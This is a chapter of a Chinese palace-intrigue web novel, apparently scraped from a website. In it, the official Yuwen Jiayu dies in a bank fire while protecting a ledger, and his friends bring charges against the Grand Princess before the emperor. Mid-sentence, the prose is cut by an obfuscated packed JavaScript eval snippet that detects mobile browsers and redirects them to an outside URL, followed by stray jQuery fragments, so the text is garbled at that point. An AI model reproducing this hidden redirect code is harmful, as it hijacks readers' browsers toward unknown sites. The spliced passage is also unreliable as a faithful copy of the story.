宇文嘉煜翻阅着手中的账簿,此时脑中一般喜悦一半担忧:
账簿已经找到了,只要能安全送回京,就能解决一切问题;
可门外就是豺狼虎豹在虎视眈眈,他要怎么脱身?
正在他思考如何才能带着账簿逃出生天时,窗边突然冒进来一丝呛鼻子的烟雾,并且这阵味道越来越浓烈,越来越刺鼻。
“耿元明你这个混蛋!”
宇文嘉煜料想到他们是放火了。确实,有什么比把这里一把火烧了来的更干净的了?既能毁掉账簿,也能困死他。
书房本就是更加易燃的地方,宇文嘉煜不再犹豫,把账簿揣进怀里便准备破门逃出去。幸好火势还没有完全蔓延开来,他仍有一丝希望。
“罗玉,你快来啊,要是你在就好了……”
宇文嘉煜像个无头苍蝇在这里乱闯,企图找到出去的位置。可前厅早已烧的七零八落,把后院团团围住,根本找不到出口。
找不到可以出去的路,宇文嘉煜没有办法,只有先把账簿揣进自己怀里保护好。
就算自己的性命真的要长留此地,账簿必须送回去。
钱庄已经是四处围火,幸而后院中有一处水井还没有被火势吞灭。宇文嘉煜眼疾手快跑到了井边,捞起一盆水把袖口和衣裳下摆都沾湿,又扯下一块布料沾满水系在胸前。
他现在别无他法,只有在这里拖延时间苟活下去,等罗玉来找他。
眼见的火势越来越大了,宇文嘉煜几乎要绝望的时候,外面突然传来好几声熟悉的声音。
“大人!大人!你在哪里?”
是罗玉的声音!
尽管此时宇文嘉煜已经被浓烟呛得要晕倒,他还是鼓起所有力量,把布料沾满水,站起来大喊:“我在这里!”
罗玉听到了回应,赶忙循着方向带着人一路泼水灭火一路闯了进来。
“大人,坚持住!我马上救你出来!”
浓烟与烈火之中,宇文嘉煜看到了罗玉的身影,他几乎是要喜极而泣,把账簿在怀中又揣紧了一点,准备朝生的希望跑去。
突然,后院屋顶的一块横梁被烧得摇摇欲坠,在宇文嘉煜跑出去的那一刻,重重地坠落在地。
“大人!”
罗玉眼睁睁看到那一块巨大的横梁砸到地上。把刚站起来的宇文嘉煜压的毫无还手之力。、
一口鲜血喷涌而出,竟比周遭的火焰还要红几分,那么醒目,那么锥心刺骨。
侍从们看到大人被砸,都加快了灭火的速度,赶忙朝这里奔。
几个人合力把沉重的横梁从他身上挪开,可被压住的热早已没有了再求生的力气。
罗玉将大人扶起来,用手擦干净他脸上的鲜血,眼泪滴落在宇文嘉煜苍白而落满灰尘的脖颈间。
“大人,我来迟了......”
宇文嘉煜此时已经几乎说不出话,他颤抖着把手伸进领口,拿出被保护的完完整整的账簿,交到罗玉手中。
“带回、带会......京城。”
罗玉一看到账簿,眼泪簌簌地往下流,憋着嘴使劲点头。
可宇文嘉煜看起来还有事情想要交代,罗玉赶紧把耳朵凑近了些,听到断断续续不成调的音组成了一个名字:
耿元明。
说完这句话,怀中之人再也没了动静,连着刚刚喷出的鲜血,都化为冰冷。
罗玉悲愤交加,放下宇文嘉煜的遗体,站起身来愤慨道:“大家伙都听到了!是大长公主不仁不义,派人追杀宇文大人!如今账簿在手,罪证已全,各位可愿随我回京,一起为大人枉死伸冤!”
“为大人伸冤!”
*
林琅忘了那天的天气如何,只记得到城门之时,他们的心如坠冰窖。
走的时候还是意气风发的少年郎,嚷着要立功,可回来的时候,却只有一群人带着白纱扛着一具冰冷的棺椁。
领队的人是罗玉,宇文嘉煜不在人群中。
可,他,怎么会......
周玦此时难以接受眼前看到的景象,红着眼扯住罗玉的衣领,大声喝道:“宇文嘉煜人呢?他是不是没有跟你们一起回来?”
他宁愿相信宇文嘉煜是为了躲懒留在宁州吃喝玩乐,也不愿相信眼前冰冷的棺椁里就是那个几天前还在和他嬉笑怒骂的少年天才。
罗玉看上其也十分憔悴,这几天带着大人的遗体赶路甚是辛苦。他不知道该如何回答周玦的问话,只能颤着声道:“大人......走了。”
走了?
走了!
走了......
周玦只觉得站都站不住了,一瞬间天旋地转。要不是林琅在身边搀扶着他,他真的要当众晕倒在城门口。
“来人,把大人先扶上马车!”林琅当机立断,先把周玦的情绪稳定下来,余下的事再细细查验。
“周玦,周韫山!你听我说!现在不是悲伤难过的时候,你清醒一点!”林琅使劲摇晃着他,想让他回过神来。
“我们一定要查出这背后是谁在搞鬼,不能让宇文嘉煜白死了!”
宇文嘉煜不应该死的,这不是他本来的命运。
她明明只是想救下周玦,改变周玦的命运,为什么牵连到这些人,为什么局势越来越不可控?
林琅脑中思绪万千,她还是不知道宇文嘉煜究竟是为什么会在这个关键节点死的这么突然。
罗玉先着人将宇文嘉煜的棺椁送回宇文府,随后便到周府报告沿途所发生的一切。
那本他用性命保下的账簿,此刻也终于完完整整地送到了周玦的手中。
这太沉重了,这份账簿的重量,几乎要压的周玦喘不过气来。
“大人在薛记钱庄不知道怎么就找到了这本账簿,可是后来被耿元明堵住,他应该是想逃跑的,但耿元明那小人放火烧了整个钱庄。大人被困在里面,用尽自己所有的力量去保护了账簿。”
“我在城东搜寻无果便回了城,见大人那边迟迟没有动静心里便感到不安,快马加鞭往城西赶去。等我赶到的时候,火势已经很大了,本有希望救出大人,可偏偏一块被烧毁的房梁掉了下来吗,大人就......”
“又是耿元明,又是她赵惜......”
周玦手里攥着账簿,咬牙切齿地念着他们的名字,似乎是要将一切都化为齑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568754|168758||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
粉。
其实他们心里都清楚,当年谭飞的死是谁的手笔,只不过没有那个本事去追查,去报仇。
现在人证物证俱全,是时候清算了。
*
皇宫大内
大理寺卿张盛带着杨田,周玦带着罗玉,林琅手里捧着账簿,还有教坊司姑娘们自愿提供的证词,一齐跪在殿外,等候宣召。
今天朝堂之上必须一击即中,否则再难扳倒大长公主。
“堂下,所奏何事?”
赵砚虽然心里清楚他们此行为何,但为了表面上的体面,还是装装样子问了问。
“微臣尚书左仆射同中书门下平章事周玦,今日携人证物证,状告当朝大长公主谋财害命,为祸朝纲,望陛下仔细参详,将国之蠹虫绳之以法!”
一字一句不卑不亢掷地有声,然如同惊雷滚地,举座皆惊。
第一个冲出来反对的是裴中轩,他作为大长公主最忠诚的狗腿,立刻扑过来跪下道:“陛下,周大人定是有什么误会!大长公主久居宫闱之中,又贵为皇亲国戚,怎么可能如此行事呢?”
“臣自然是有证据在手,裴大人你急什么?”
一句话,怼的裴中轩无言以对。
“陛下,这是我的同僚,您的右丞用性命从宁州找到的账簿,”说完这句话周玦明显顿了一下,是在调整自己的呼吸。
“上面详细记载了大长公主是如何官商勾结,用百姓的血肉渔利。她的同僚,就是这位岳陵前县丞杨田。”
太监腿脚很麻利,赶紧接过账簿送到赵砚手里。
可有一句话,他没有听清。
“什么叫,宇文嘉煜用性命找到的?他不是告病在家休养吗?”
这话中的意思听起来太过不可思议,让赵砚不敢去想。
周玦再度跪下,这一跪是替他的好兄弟最后做的一件事。
“宇文嘉煜有欺君之实,陛下若有罪责臣愿意替他受过。他为了收集罪证,在宁州被大长公主的手下耿元明所害,拼死让自己的手下送回了账簿。”
如果说周玦刚才的举证犹如惊弓,这番话才是一盆冷水,浇在了满朝文武的头上。
宇文氏族是当朝唯一的清流氏族,宇文嘉煜是独子,他父亲也早已离世,那么这一脉就算是断了。
更何况他还是当朝状元,这与朝堂来说,是一笔不可估量的损失。不仅是臣子没了,更重要的是文官的中流砥柱就此轰然倒塌,主心骨没了。
赵砚闻言瞬间冷了脸,低头翻着账簿,越看这个脸色越不对劲,朝堂上的官员们见状一个都不敢说话,只能听到纸张被翻过去的声音,连喘息都带着一股小心翼翼。
“哼!”赵砚翻完账簿,怒地把账簿往地上一扔。
这一举动,让在座的人“哗”的一下全都跪下了。
“杨田,这上面写着你的供词,是真的吗?”
杨田被天子之威吓得一动不敢动,更遑论说假话了。
“是、都是草民所言......”
赵砚在高台之上扶着额头,捏了眉心沉默了很久。许是所有的事情一下子堆在一起让他几乎就要失去判断力,需要冷静冷静